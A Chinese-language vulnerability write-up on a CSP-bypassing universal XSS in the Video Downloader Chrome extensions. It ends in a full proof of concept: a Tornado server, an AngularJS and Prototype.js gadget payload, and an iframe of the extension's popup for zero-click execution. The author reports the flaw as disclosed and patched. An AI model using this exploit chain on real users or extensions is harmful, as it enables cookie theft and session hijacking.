影响1500万用户:Chrome扩展Video Downloader CSP绕过导致UXSS漏洞分析
导语:在对各种Chrome扩展程序进行安全审查的过程中,我发现有两个流行的Chrome扩展程序Video Downloader(5.0.0.12版本,用户数量820万)和Video Downloader Plus(用户数量730万)在浏览器中存在跨站脚本(XSS)漏洞页面。
概述
在对各种Chrome扩展程序进行安全审查的过程中,我发现有两个流行的Chrome扩展程序Video Downloader(5.0.0.12版本,用户数量820万)和Video Downloader Plus(用户数量730万)在浏览器中存在跨站脚本(XSS)漏洞页面。攻击者只需让目标用户访问攻击者特制的页面,即可针对这些扩展实现漏洞利用。
导致此漏洞的原因是,扩展程序使用字符串连接来构建HTML,该HTML通过jQuery动态附加到DOM。攻击者可以创建一个特制的链接,这将导致在扩展的上下文中执行任意JavaScript。利用该漏洞,攻击者可以滥用扩展程序可以访问的如下权限:
"permissions": [ "alarms", "contextMenus", "privacy", "storage", "cookies", "tabs", "unlimitedStorage", "webNavigation", "webRequest", "webRequestBlocking", "http://*/*", "https://*/*", "notifications" ],
利用上述权限,攻击者可以转储所有浏览器Cookie,拦截所有浏览器请求,并伪装成经过身份验证的用户与所有站点进行通信。此时,攻击者已经具有如同本地扩展程序一样的功能。
漏洞描述
这一漏洞的产生,主要源于以下代码中存在问题:
vd.createDownloadSection = function(videoData) { return '<li> \ <a href="' + videoData.url + '" target="_blank"></a> \ <div title="' + videoData.fileName + '">' + videoData.fileName + '</div> \ <a href="' + videoData.url + '" data-file-name="' + videoData.fileName + videoData.extension + '">Download - ' + Math.floor(videoData.size * 100 / 1024 / 1024) / 100 + ' MB</a>\ <div></div>\ </li>'; };
这是一段易受跨站脚本攻击(XSS)的代码,可以说是一段非常经典的“教科书级”漏洞代码示例。扩展程序从攻击者控制的页面上提取这些视频链接,因此漏洞利用应该是非常简单粗暴的。然而,现实世界中的情况要比“教科书”复杂得多。我们接下来,就详细分析漏洞利用途中遇到的各种阻碍,并说明如何绕过这些障碍。我们将从输入的位置开始,一路到达其最终函数。
通往胜利的道路
该扩展程序使用内容脚本(Content Script)从页面链接(<a>标签)和视频(<video>标签)收集可能的视频URL。内容脚本是JavaScript代码段,运行在用户浏览器访问过的页面上(也就是用户访问的每个页面)。以下代码节选自扩展程序的内容脚本:
vd.getVideoLinks = function(node) { // console.log(node); var videoLinks = []; $(node) .find('a') .each(function() { var link = $(this).attr('href'); var videoType = vd.getVideoType(link); if (videoType) { videoLinks.push({ url: link, fileName: vd.getLinkTitleFromNode($(this)), extension: '.' + videoType }); } }); $(node) .find('video') .each(function() { // console.log(this); var nodes = []; // console.log($(this).attr('src')); $(this).attr('src') ? nodes.push($(this)) : void 0; // console.log(nodes); $(this) .find('source') .each(function() { nodes.push($(this)); }); nodes.forEach(function(node) { var link = node.attr('src'); if (!link) { return; } var videoType = vd.getVideoType(link); videoLinks.push({ url: link, fileName: vd.getLinkTitleFromNode(node), extension: '.' + videoType }); }); }); return videoLinks; };
从上面的代码中可以看出,链接和视频元素将会被迭代,并且在返回之前将信息收集到videoLinks数组中。我们控制的videoLinks元素属性是url(从href属性中提取)和fileName(通过获取title属性、alt属性或节点的内部文本来提取)。
在这里,会被函数vd.findVideoLinks调用:
vd.findVideoLinks = function(node) { var videoLinks = []; switch (window.location.host) { case 'vimeo.com': vd.sendVimeoVideoLinks(); break; case 'www.youtube.com': break; default: videoLinks = vd.getVideoLinks(node); } vd.sendVideoLinks(videoLinks); };
此调用发生在每个页面的页面加载初期:
vd.init = function() { vd.findVideoLinks(document.body); }; vd.init();
在获得所有链接后,它们将通过vd.sendVideoLinks发送到扩展程序的后台页面。下面是在扩展的后台页面中声明的消息侦听器:
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) { switch (request.message) { case 'add-video-links': if (typeof sender.tab === 'undefined') { break; } vd.addVideoLinks(request.videoLinks, sender.tab.id, sender.tab.url); break; case 'get-video-links': sendResponse(vd.getVideoLinksForTab(request.tabId)); break; case 'download-video-link': vd.downloadVideoLink(request.url, request.fileName); break; case 'show-youtube-warning': vd.showYoutubeWarning(); break; default: break; } });
我们重点关注其中的add-video-links选项,由于send.tab未定义,因此它会使用先前的视频链接数据调用vd.addVideoLinks。以下是addVideoLinks的代码:
vd.addVideoLinks = function(videoLinks, tabId, tabUrl) { ...为保证简洁,省略一部分代码... videoLinks.forEach(function(videoLink) { // console.log(videoLink); videoLink.fileName = vd.getFileName(videoLink.fileName); vd.addVideoLinkToTab(videoLink, tabId, tabUrl); }); };
上面的代码将会检查它是否已经存储了此tabld的链接数据。如果没有,则会创建一个新对象。每条链接数据的fileName属性都会通过vd.getFileName函数运行,该函数代码如下:
vd.getFileName = function(str) { // console.log(str); var regex = /[A-Za-z0-9()_ -]/; var escapedStr = ''; str = Array.from(str); str.forEach(function(char) { if (regex.test(char)) { escapedStr += char; } }); return escapedStr; };
由于上面的函数针对链接数据使用了fileName属性,所以也就破坏了我们获得DOM-XSS的机会。它会删除任何与正则表达式[A-Za-z0-9()_ -]不匹配的字符,当然也包括可用于突破连接HTML中属性的字符。
这样一来,我们就只剩下url属性,我们继续。
videoLink将被发送到vd.addVideoLinkToTab函数中,该函数如下:
vd.addVideoLinkToTab = function(videoLink, tabId, tabUrl) { ...trimmed for brevity... if (!videoLink.size) { console.log('Getting size from server for ' + videoLink.url); vd.getVideoDataFromServer(videoLink.url, function(videoData) { videoLink.size = videoData.size; vd.addVideoLinkToTabFinalStep(tabId, videoLink); }); } else { vd.addVideoLinkToTabFinalStep(tabId, videoLink); } };
该脚本将检查链接数据是否具有size属性。在未设置大小的情况下,它通过vd.getVideoDataFromServer来获取链接位置处文件的大小:
vd.getVideoDataFromServer = function(url, callback) { var request = new XMLHttpRequest(); request.onreadystatechange = function() { if (request.readyState === 2) { callback({ mime: this.getResponseHeader('Content-Type'), size: this.getResponseHeader('Content-Length') }); request.abort(); } }; request.open('Get', url); request.send(); };
上面的代码只会触发XMLHTTPRequest请求,以获取指定链接上的文件头,并提取Content-Type和Content-Length头部。数据将会返回,随后Content-Length标头的值被用于设置videoLinks元素的size属性。在完成此操作后,结果将传递给vd.addVideoLinkToTabFinalStep:
vd.addVideoLinkToTabFinalStep = function(tabId, videoLink) { // console.log("Trying to add url "+ videoLink.url); if (!vd.isVideoLinkAlreadyAdded( vd.tabsData[tabId].videoLinks, videoLink.url ) && videoLink.size > 1024 && vd.isVideoUrl(videoLink.url) ) { vd.tabsData[tabId].videoLinks.push(videoLink); vd.updateExtensionIcon(tabId); } };
在这里,我们开始遇到一些障碍。我们希望将URL附加到vd.tabsData[tabId]数组,但只会在我们传递以下条件时发生:
!vd.isVideoLinkAlreadyAdded( vd.tabsData[tabId].videoLinks, videoLink.url ) && videoLink.size > 1024 && vd.isVideoUrl(videoLink.url)
vd.isVideoLinkAlreadyAdded是一个简单的检查,以查看该URL是否已经记录在vd.tabsData[tabId].videoLinks数组中。第二项检查是查看videoLink.size是否大于1024。我们回想一下,这个值是来源于检索到的Content-Length标头。为了通过这里的检查,我们创建了一个基础的Python Tornado服务器,并创建了一个通配符路由,能够返回足够大的响应:
...为保证简洁,省略一部分代码... def make_app(): return tornado.web.Application([ ...为保证简洁,省略一部分代码... (r"/.*", WildcardHandler), ]) ...为保证简洁,省略一部分代码... class WildcardHandler(tornado.web.RequestHandler): def get(self): self.set_header("Content-Type", "video/x-flv") self.write( ("A" * 2048 ) ) ...为保证简洁,省略一部分代码...
现在,无论我们制作的链接是什么,都总会路由到一个返回>1024字节的页面。因此,我们就通过了这个检查。
下一个检查,要求vd.isVideoUrl函数返回True,该函数的代码如下:
vd.videoFormats = { mp4: { type: 'mp4' }, flv: { type: 'flv' }, mov: { type: 'mov' }, webm: { type: 'webm' } }; vd.isVideoUrl = function(url) { var isVideoUrl = false; Object.keys(vd.videoFormats).some(function(format) { if (url.indexOf(format) != -1) { isVideoUrl = true; return true; } }); return isVideoUrl; };
这项检查非常简单,它只是检查URL中是否包含mp4、flv、mov或webm。我们可以将.flv添加到我们URL Payload的末尾,来轻松绕过此检查。
由于我们已经满足了所有检查条件,因此我们的URL将会附加到vd.tabsData[tabId].videoLinks数组之中。
接下来,转到核心易受攻击函数的原始popus.js脚本,我们可以看到如下内容:
$(document).ready(function() { var videoList = $("#video-list"); chrome.tabs.query({ active: true, currentWindow: true }, function(tabs) { console.log(tabs); vd.sendMessage({ message: 'get-video-links', tabId: tabs[0].id }, function(tabsData) { console.log(tabsData); if (tabsData.url.indexOf('youtube.com') != -1) { vd.sendMessage({ message: 'show-youtube-warning' }); return } var videoLinks = tabsData.videoLinks; console.log(videoLinks); if (videoLinks.length == 0) { $("#no-video-found").css('display', 'block'); videoList.css('display', 'none'); return } $("#no-video-found").css('display', 'none'); videoList.css('display', 'block'); videoLinks.forEach(function(videoLink) { videoList.append(vd.createDownloadSection(videoLink)); }) }); }); $('body').on('click', '.download-button', function(e) { e.preventDefault(); vd.sendMessage({ message: 'download-video-link', url: $(this).attr('href'), fileName: $(this).attr('data-file-name') }); }); });
如果单击扩展程序的浏览器图标,将会触发上述代码。该扩展程序会在Chrome扩展程序API中查询当前标签的元数据。这个选项卡的ID是取自元数据,并且get-video-links调用将会发送到后台页面。这里的代码仅仅是sendResponse(vd.getVideoLinksForTab(request.tabId));,将会返回我们上面所讨论的视频链接数据。
视频链接将会被迭代,并将每个视频链接传递给本文最开始所提到的vd.createDownloadSection函数。这样一来,将会使用HTML连接来构建一个使用jQuery的.append()函数附加到DOM的大字符串。将包含用户输入的原始HTML传递给append(),这就是一个经典的跨站脚本(XSS)示例。
看来,我们可以完美地将自定义Payload传递到易受攻击的函数。但是,现在庆祝还为时过早,我们还有另外一个需要克服的问题:内容安全策略(CSP)。
内容安全策略
有趣的是,该扩展的内容安全策略在其script-src指令中没有不安全的eval。以下是扩展程序的摘录:
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com; style-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src *; object-src 'self'
从上面的内容安全策略(CSP)中,我们可以看到script-src如下:
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com
该策略阻止我们引用任意网站,并禁止我们进行内联JavaScript的声明(例如:<script>alert('XSS')</script>)。我们执行JavaScript的唯一方法,就是要从以下的某个网站获取资源:
https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com
我们的目标是绕过CSP策略,并且我们在script-src指令中看到了https://apis.google.com和https://ajax.googleapis.com,这非常好。这些站点上面托管了许多JavaScript库,以及JSONP终端,而这二者都可以用于绕过内容安全策略。
注意:如果想要查看某个网站是否不适合添加到CSP中,可以使用由Google员工制作的CSP评估工具。
在这一方面,此前曾经开展过一个名为H5SC Minichallenge 3: "Sh*t, it's CSP!"的比赛,参赛者必须在一个只有白名单ajax.googeapis.com的页面上实现XSS。这一挑战与我们现在面临的情况非常相似。
这场比赛中最佳的解决方案之一是使用以下Payload:
"ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert(1337
下面的说明,引述自提出这一解决方案的参赛人员:
这个提交非常有趣,因为它滥用了将Prototype.js与AngularJS结合起来的效果。> AngularJS非常成功地禁用了其集成的沙箱访问窗口。然而,Prototype.JS使用curry属性扩展函数,在使用call()调用时返回一个窗口对象,AngularJS没有注意到这一点。这意味着,我们可以使用Prototype.JS来获取窗口>,并执行该对象的几乎任意方法。
列入白名单的Google-CDN提供过时版本的AngularJS和Prototype.js,让我们可以根据需要,访问我们在窗口上操作所需的内容。并且,这里并不需要用户交互。
通过修改这一Payload,我们可以利用该扩展。下面是使用相同技术执行alert的Payload(在Chrome扩展程序中Video Downloader进行测试):
"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!—
下图展示了在单击扩展名图标时,我们的Payload将会触发:
我们现在就可以在扩展程序的上下文中执行任意JavaScript,并且可以滥用扩展程序可以访问的任何Chrome扩展程序API。但是,这一过程还需要用户在我们的页面上单击扩展图标。在构建漏洞利用时,最好不要有任何弱点。因此,我们希望尝试不需要用户交互的方案。
回到manifest.json,我们可以看到web_accessible_resources指令已经被设置为以下内容:
"web_accessible_resources": [ "*" ]
仅使用通配符,这意味着任何网页都可以使用<iframe>,并获取扩展中包含的任何资源。在我们的示例中,我们要包含的资源是popup.html页面,该页面通常仅在用户单击扩展程序的图标时显示。通过iframing此页面,以及使用我们之前编写的Payload,我们可以实现无需用户交互的漏洞利用:
最终Payload如下:
<!DOCTYPE html> <html> <body> <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a> <iframe src="about:blank" id="poc"></iframe> <script> setTimeout(function() { document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" ); }, 1000); </script> </body> </html>
具体而言,这分为两部分。第一部分是为当前选项卡设置videoLinks数组。第二部分是在1秒后触发并生成iframe chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html(弹出页面)的位置。最终的概念证明如下:
import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.write(""" <!DOCTYPE html> <html> <body> <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a> <iframe src="about:blank" id="poc"></iframe> <script> setTimeout(function() { document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" ); }, 1000); </script> </body> </html> """) class WildcardHandler(tornado.web.RequestHandler): def get(self): self.set_header("Content-Type", "video/x-flv") self.write( ("A" * 2048 ) ) def make_app(): return tornado.web.Application([ (r"/", MainHandler), (r"/.*", WildcardHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start()
漏洞披露与修复
由于在扩展程序中,没有显示出开发者的联系方式,因此我联系了一些Google负责Chrome扩展程序安全性的人员。他们将通知扩展的开发者,并努力确保他们对扩展进行修复。这两个扩展的最新版本都已经不存在此漏洞。我们在发布此篇文章之前,还为每个用户预留了补丁发布后安装更新的时间,需要提醒用户务必关注补丁并及时更新。
如果大家有任何问题或意见,请随时与我联系。如果您想要查找一些Chrome扩张程序的漏洞,可以使用我自己编写的扫描程序,以帮助您入门(源代码)。如果您想要阅读关于Chrome扩展程序安全性的指南,可以参考《安全编码和审计Chrome扩展程序指南》。
发表评论